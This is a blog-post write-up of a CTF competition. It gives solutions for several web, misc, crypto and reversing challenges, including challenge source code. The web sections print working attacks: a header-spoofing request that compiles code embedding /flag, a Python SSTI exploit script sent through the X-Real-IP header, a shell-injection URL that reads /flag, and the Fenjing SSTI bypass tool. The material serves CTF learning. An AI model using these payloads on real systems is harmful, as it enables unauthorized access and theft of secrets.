banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

Solution to a certain CTF competition

Web1#

http://111.74.9.131:10111/

1f9895497b4b91c06c801e1e86d8722b_MD5

View the source code, there is a js file

82a88597c38882dffe0b80f6251961f8_MD5

The content is as follows:

eval(atob("ZnVuY3Rpb24gZW5jcnlwdEFuZFN1Ym1pdCgpIHsKICAgIHZhciBfMHgxYTJiID0gZG9jdW1lbnRbJ2dldEVsZW1lbnRCeUlkJ10oJ3Bhc3N3b3JkJylbJ3ZhbHVlJ107CiAgICB2YXIgXzB4MmIzYyA9ICdDVEYyMDI1JzsKICAgIHZhciBfMHgzYzRkID0gbWQ1KF8weDFhMmIgKyBfMHgyYjNjKTsKICAgIGRvY3VtZW50WydnZXRFbGVtZW50QnlJZCddKCdlbmNyeXB0ZWQnKVsndmFsdWUnXSA9IF8weDNjNGQ7CiAgICBkb2N1bWVudFsnZ2V0RWxlbWVudEJ5SWQnXSgncGFzc3dvcmQnKVsndmFsdWUnXSA9ICcnOwogICAgcmV0dXJuIHRydWU7Cn0="))

base64 decode

function encryptAndSubmit() {
    var _0x1a2b = document['getElementById']('password')['value'];
    var _0x2b3c = 'CTF2025';
    var _0x3c4d = md5(_0x1a2b + _0x2b3c);
    document['getElementById']('encrypted')['value'] = _0x3c4d;
    document['getElementById']('password')['value'] = '';
    return true;
}

The above code is used to md5 encrypt the input password, with a salt added to the md5, such as md5(password,CTF2025), which can be cracked.

Burp settings are as follows

d64e7455cc0a564131626aeff1dcbdac_MD5

Crack to get the flag

e6f4f2600171f240f47a15bd3a8581ca_MD5

Web4#

An attachment was provided, the content of main.go is

package main

import (
	"context"
	"fmt"
	"net"
	"net/http"
	"os"
	"os/exec"
	"time"

	"github.com/gin-gonic/gin"
)

func executeCommandWithTimeout(name string, args ...string) error {
	ctx, cancel := context.WithTimeout(context.Background(), time.Second*10)
	defer cancel()

	cmd := exec.CommandContext(ctx, name, args...)
	cmd.Dir = os.TempDir()
	return cmd.Run()
}

func localhostOnly() gin.HandlerFunc {
	return func(c *gin.Context) {
		clientIPString := c.ClientIP()
		ip := net.ParseIP(clientIPString)

		if ip == nil {
			c.String(http.StatusBadRequest, "Invalid IP address")
			c.Abort()
			return
		}

		if !ip.IsLoopback() {
			c.String(http.StatusForbidden, "Access denied. This endpoint is only allowed to be accessed from localhost")
			c.Abort()
			return
		}

		c.Next()
	}
}

func handleBuild(c *gin.Context) {
	body := http.MaxBytesReader(c.Writer, c.Request.Body, 0x1000)
	defer body.Close()

	dir, err := os.MkdirTemp("", "c2_")
	if err != nil {
		c.String(http.StatusInternalServerError, "Failed to create temporary directory: %v", err)
		return
	}
	defer os.RemoveAll(dir)

	fname := fmt.Sprintf("%s/main.go", dir)
	binName := fmt.Sprintf("%s/main", dir)

	f, err := os.Create(fname)
	if err != nil {
		c.String(http.StatusInternalServerError, "Failed to create temporary file: %v", err)
		return
	}
	defer f.Close()

	_, err = f.ReadFrom(body)
	if err != nil {
		c.String(http.StatusInternalServerError, "Failed to read request body: %v", err)
		return
	}
	f.Close()

	err = executeCommandWithTimeout("go", "build", "-ldflags", "-s -w", "-o", binName, fname)
	if err != nil {
		c.String(http.StatusInternalServerError, "Compilation failed: %v", err)
		return
	}

	c.File(binName)
}

func main() {
	gin.SetMode(gin.ReleaseMode)

	router := gin.Default()
	router.Use(localhostOnly())
	router.POST("/api/build", handleBuild)

	fmt.Println("Server is starting at http://localhost:8989")
	if err := router.Run(":8989"); err != nil {
		fmt.Fprintf(os.Stderr, "Failed to start server: %v\n", err)
		os.Exit(1)
	}
}

By sending a POST request via http, submit the go code to the above code, which compiles the submitted code and outputs the compiled go file.

Reference:

https://jro.sg/CTFs/GreyCTF%20Quals%202025/C2.html

Prepared go file content

package main

/*
__asm__ (
    ".incbin \"/flag\"\n"
);
*/
import "C"

func main() {

}

Then curl request

curl -X POST -H "X-Forwarded-For: 127.0.0.1"  --data-binary @m6.go http://111.74.9.131:18053/api/build --output m6

Output the m6 program, then use strings to search for the flag

ef41c58d9f9045e8f05bdd1971d713b1_MD5

Web5#

Title: The company is recently participating in a cybersecurity initiative, and the leadership decided to arrange a phishing email exercise to raise employee awareness of phishing emails. Your colleague Xiao Ming created a simple phishing system, but within a few days, the website was compromised. Xiao Ming claimed he used many secure functions to render this website, so it shouldn't have been breached...

Access the link

9e10b88ececc3c10d01beb8bcfb6d424_MD5

Fill in the content and submit

e21402e6621a460f94b77a05df905074_MD5

from flask import Flask, request, render_template, redirect, url_for, jsonify, render_template_string, session
import json
import os
import secrets
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
from ipaddress import ip_address

app = Flask(__name__, static_url_path='/static', static_folder='static')
app.secret_key = secrets.token_hex(16)

ENCRYPTION_KEY = os.urandom(16)
print(f"ENCRYPTION_KEY: {ENCRYPTION_KEY.hex()}")
FLAG = None
# Attempt to read the flag from /flag.txt
try:
    with open('/flag.txt', 'r') as f:
        FLAG = f.read().strip()
except:
    FLAG = "flag{this_is_a_fake_flag_for_demo_purposes}"
app.config['FLAG'] = FLAG
USERS_FILE = "users.json"

ADMIN_SECRET = "sup3r_s3cr3t_4dm1n_k3y"

if not os.path.exists(USERS_FILE):
    with open(USERS_FILE, 'w') as f:
        json.dump([], f)

def load_users():
    try:
        with open(USERS_FILE, 'r') as f:
            return json.load(f)
    except:
        return []

def save_users(users):
    with open(USERS_FILE, 'w') as f:
        json.dump(users, f, indent=4)


def encrypt_data(data):
    data = (data + " " * (-len(data) % AES.block_size)).encode() 
    cipher = AES.new(ENCRYPTION_KEY, AES.MODE_CBC)
    ct_bytes = cipher.iv + cipher.encrypt(data)
    return ct_bytes.hex()

def decrypt_data(encrypted_data):
    try:
        encrypted_data = bytes.fromhex(encrypted_data)
        cipher = AES.new(ENCRYPTION_KEY, AES.MODE_CBC, encrypted_data[:16])
        padded1 = cipher.decrypt(encrypted_data[16:])
        return padded1.decode("ascii", errors="replace").rstrip(" ")
    except Exception as e:
        print(f"Decryption error: {e}")
        return None

@app.route('/')
def index():
    return render_template('login.html')

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username', '')
    password = request.form.get('newPwd1', '')
    oldPwd = request.form.get('oldPwd', '')
    
    # Get IP address
    real_ip = request.headers.get('X-Real-Ip', request.remote_addr)
    
    # Create JSON data
    # user_data = json.dumps({
    #     'user': username,
    #     'pd1': password,
    #     'pd2': oldPwd,
    #     'ip': real_ip
    # })
    # print(f"User data: {user_data}")
    # Encrypt the data to create a token
    # user = encrypt_data(user_data)
    user = encrypt_data(username)
    pd1 = encrypt_data(password)
    pd2 = encrypt_data(oldPwd)
    ip = encrypt_data(real_ip)
    
    return redirect(url_for('error',user=user, pd1=pd1, pd2=pd2, ip=ip))

@app.route('/error')
def error():
    username = request.args.get('user', '')
    password = request.args.get('pd1', '')
    oldPwd = request.args.get('pd2', '')
    ip = request.args.get('ip', '')
    if username and password and oldPwd and ip:

        user_data_str = decrypt_data(username)
        password_str = decrypt_data(password)
        oldPwd_str = decrypt_data(oldPwd)
        ip_str = decrypt_data(ip)
        user_data = json.dumps({
        'username': user_data_str,
        'password': password_str,
        'oldPwd': oldPwd_str,
        'ip': ip_str
        })
        if user_data_str:
            try:
                #  load json userdata
                user_data = json.loads(user_data)
                users = load_users()
                users.append(user_data)
                save_users(users)
            except json.JSONDecodeError:
                pass
    
    # Display error page
    return render_template('error.html', cred=user_data)

@app.route('/admin')
def admin():
    secret = request.args.get('secret', '')
    
    if secret != ADMIN_SECRET:
        return render_template('admin_login.html')
    
    users = load_users()
    for user in users:
        try:
            # Validate IP to prevent XSS attacks
            ip_address(user['ip'])
            user['ip'] = render_template_string(user['ip'])
        except ValueError:
            user['ip'] = render_template_string("Invalid IP address")
        except Exception as e:
            user['ip'] = render_template_string("Invalid IP address")

    return render_template('admin_panel.html', users=users)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)
    

Solution script:

#!/usr/bin/env python3

import requests

# Target server address
target_url = 'http://111.74.9.131:18054'

# Set the X-Forwarded-For header to include a malicious template string
headers = {
	'X-Real-IP': '{{ config.get("FLAG", "") }}'
}

# Send POST request to register a malicious user
login_data = {
	'username': 'attacker',
	'newPwd1': 'password',
	'oldPwd': 'oldpassword'
}

response = requests.post(
	f'{target_url}/login',
	headers=headers,
	data=login_data
)

# Redirect to error page, data has been stored in users.json
# Next, access the admin panel to trigger template injection
admin_secret = 'sup3r_s3cr3t_4dm1n_k3y'

admin_response = requests.get(
	f'{target_url}/admin',
	params={'secret': admin_secret}
)

# Check the response content, it should contain the FLAG value
print(admin_response.text)

4b6e29a22f39045e389482f78c039e7f_MD5

Web3#

SSTI automation bypass tool

Project address: https://github.com/Marven11/Fenjing

Introduction: Fenjing is a fully automated script for bypassing WAF in CTF competitions targeting Jinja SSTI, which can automatically attack the given website or interface, saving time on manual testing and fuzzing.

Installation and usage

pipx install fenjing
fenjing webui

3d98a2c2265de66761bfef7f8ac7e494_MD5

Open the link, the interface is as follows:

a7feee11108bb56bdc1b8cb857aed3a6_MD5

Fill in the parameters

Target link: http://xx.xx.xx.xx:18055/login
Request method: POST
Form input: need to fill in form fields, username, password

Start analysis, it will automatically iterate through payloads, and upon success, there will be a prompt, then output the command cat /flag to view the flag.

Web2#

http://x.x.x.x/?ip=127.0.0.254';echo+`cat+/flag`//'&action=ping

Scan the source code:

8197491922c061133d1517c798a81725_MD5

Misc2#

A messy QR code, use Alipay's scanning function to scan it.

Misc2#

import time
import random

print("(notice:Please use nc to connect to the port specified in the URL address bar.)")
nums = int(input("Please enter the number of questions you want to answer: "))

for i in range(nums):
    one = random.randint(0, 10)
    two = random.randint(0, 10)

    ans = int(input("what is " + str(one) + ' + ' + str(two) + ' = '))

    print("calculating")

    timeTotals = pow(2, i)

    print('.')
    time.sleep(timeTotals / 3)
    print('.')
    time.sleep(timeTotals / 3)
    print('.')
    time.sleep(timeTotals / 3)

    if ans != one + two:
        print("u are not a good hack")
        exit(69)

f = open('/flag.txt', 'r')
flag = f.read()
print(flag[:nums])

Run with nc, input -1 to bypass.

Crypto1#

from Crypto.Util.number import *
flag=b'flag{*****************************}'
m=bytes_to_long(flag)
p,q=getPrime(1024),getPrime(1024)
e=65537
n=p*q
d=inverse(e,(p-1)*(q-1))
dp=d%(p-1)
c=pow(m,e,n)
print(c)
print(dp)
print(p)


# 3621646937727889548909558326205957675311366927576094466065866561511845376142285021544807016635554075057978371089883882652884562341795350432855760226766650332740837747273153899945086509849525036285162342557912583263135919615912608363980033600575652070000659719338358811159071614432213157575024167926029730838051313515652724868156976695882304807110602021759016490555848194614890088553661010861187856453923439942656494718196446285284609493675077522733982142357729873638561047598174390550177679192353597625156686538516931457914528057005823186301975313700451291625119960466820206228024950396178301729951976900059892626273
# 76955759572673512544923648411395866333796261604407185658210567292964392047158269426138037422338079272908437870659860545830872197317007043911468404422185245392020868658456715252474214901150640745568784350641572377607364100066483415131573253954308640192519276898376785024916439509007607074377065893470947020289
# 102776524598840560638585367336518806894318666383437270265775716267505040788934861089436105285045865285877899672510500501143582311614865720509168259305036567232981571349634776400012280363072822435244975138327289063238788331962363946394642899095278883116586563622614104992214474570056886714082364025521793586337

Decryption script

#!/usr/bin/env python3

from Crypto.Util.number import long_to_bytes

c = 3621646937727889548909558326205957675311366927576094466065866561511845376142285021544807016635554075057978371089883882652884562341795350432855760226766650332740837747273153899945086509849525036285162342557912583263135919615912608363980033600575652070000659719338358811159071614432213157575024167926029730838051313515652724868156976695882304807110602021759016490555848194614890088553661010861187856453923439942656494718196446285284609493675077522733982142357729873638561047598174390550177679192353597625156686538516931457914528057005823186301975313700451291625119960466820206228024950396178301729951976900059892626273
dp = 76955759572673512544923648411395866333796261604407185658210567292964392047158269426138037422338079272908437870659860545830872197317007043911468404422185245392020868658456715252474214901150640745568784350641572377607364100066483415131573253954308640192519276898376785024916439509007607074377065893470947020289
p = 102776524598840560638585367336518806894318666383437270265775716267505040788934861089436105285045865285877899672510500501143582311614865720509168259305036567232981571349634776400012280363072822435244975138327289063238788331962363946394642899095278883116586563622614104992214474570056886714082364025521793586337
e = 65537

m = pow(c, dp ,p)
print(long_to_bytes(m))

flag{dp_is_very_easy}

Re1#

ef5d3ba62386707d4dc7fdab86d9dff1_MD5

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.